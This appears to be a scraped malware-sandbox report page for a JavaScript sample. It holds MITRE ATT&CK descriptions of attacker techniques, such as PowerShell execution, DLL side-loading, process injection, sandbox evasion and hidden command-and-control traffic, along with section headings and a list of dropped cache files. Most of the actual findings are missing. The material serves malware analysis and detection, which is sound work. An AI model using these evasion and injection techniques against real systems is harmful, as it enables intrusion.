Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1584816627285206777.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bc39510c-2f89-45ba-ba0f-be931c775a86.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2876

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1584816627285206777.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre